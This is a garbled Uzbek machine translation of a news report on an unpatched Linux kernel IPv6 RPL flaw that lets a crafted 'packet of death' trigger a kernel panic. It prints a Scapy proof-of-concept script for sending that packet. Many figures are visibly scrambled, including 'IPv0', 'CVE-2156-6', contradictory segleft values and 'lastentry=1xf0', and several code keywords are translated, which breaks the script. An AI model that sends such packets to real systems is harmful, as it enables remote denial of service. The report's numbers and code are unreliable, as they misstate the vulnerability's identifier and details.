Yadroning uzoqdan ishdan chiqishiga imkon beruvchi 0 kunlik Linux IPv6 stekidagi zaiflik

Linux yadrosida maxsus ishlab chiqilgan IPv0 paketlarini (o'lim paketi) jo'natish orqali tizimni to'xtatish imkonini beruvchi yamoqlanmagan (2023 kunlik) zaiflik (CVE-2156-6) haqida ma'lumot oshkor qilingan. Muammo faqat tarqatishlarda sukut bo'yicha o'chirilgan va asosan paket yo'qotilishi yuqori bo'lgan simsiz tarmoqlarda ishlaydigan o'rnatilgan qurilmalarda qo'llaniladigan RPL protokolini qo'llab-quvvatlash yoqilganda paydo bo'ladi.

Zaiflik RPL protokoli tahlil kodida tashqi ma'lumotlarning noto'g'ri ishlashi natijasida yuzaga keladi, bu esa assertning ishlamay qolishiga va yadroning vahima holatiga o'tishiga olib keladi. IPv6 RPL paket sarlavhasini tahlil qilish natijasida olingan ma'lumotlarni k_buff (Socket Buffer) strukturasiga joylashtirishda, agar CmprI maydoni 15 ga o'rnatilgan bo'lsa, Segleft maydoni 1 ga, CmprE esa 0 ga o'rnatiladi, a 48 -bayt manzil vektori 528 baytgacha ochilgan va bufer uchun ajratilgan xotira etarli bo'lmagan vaziyat. Bunday holda, ma'lumotlarni strukturaga surish uchun ishlatiladigan skb_push funktsiyasi ma'lumotlar va buferning nomutanosib hajmini tekshiradi va buferni qayta yozishni oldini olish uchun vahima holatini keltirib chiqaradi.

Foydalanish misoli: # Biz paketni scapy.all import dan yaratish uchun Scapy dan foydalanamiz import * import soket # LAN interfeysingizdan IPv6 dan foydalaning DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Paketni yuborish uchun rozetkalardan foydalanamiz sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Paketni yarating # Type = 3 buni RPL paketiga aylantiradi # Manzillar 3 ta manzilni o'z ichiga oladi, lekin CmprI 15 bo'lgani uchun # birinchi ikkita manzilning har bir okteti siqilgan manzil sifatida qaraladi # Segleft = 1 kuchaytirishni ishga tushirish uchun # lastentry = 0xf0 CmprI ni 15 ga va CmprE ni 0 ga o'rnatadi p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(turi=3, manzillar: :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # Bu yomon paketni yuboring sockfd.sendto(bayt(p), (DST_ADDR, 0))

Shunisi e'tiborga loyiqki, yadro ishlab chiquvchilari zaiflik haqida 2022 yil yanvar oyida xabardor qilingan va so'nggi 15 oy ichida ular 2022 yil sentyabr, 2022 yil oktyabr va 2023 yil aprel oylarida yamoqlarni chiqarish orqali muammoni uch marta tuzatishga harakat qilishgan, ammo har safar tuzatishlar bajarilmagan. etarli va zaiflik qayta ishlab chiqarishga muvaffaq bo'ldi. Oxir-oqibat, zaiflikni bartaraf etish bo'yicha ishlarni muvofiqlashtirgan ZDI loyihasi yadroda ishlaydigan yamoq paydo bo'lishini kutmasdan, zaiflik haqida batafsil ma'lumotni oshkor qilishga qaror qildi.

Shunday qilib, zaiflik hali ham tuzatilmagan. 6.4-rc2 yadrosiga kiritilgan yamoqni qo'shish samarali emas. Foydalanuvchilarga RPL protokoli ularning tizimlarida ishlatilmayotganligini tekshirish tavsiya etiladi, buni sysctl -a | grep -i rpl_seg_enabled

Manba: opennet.ru

a Izoh qo'shish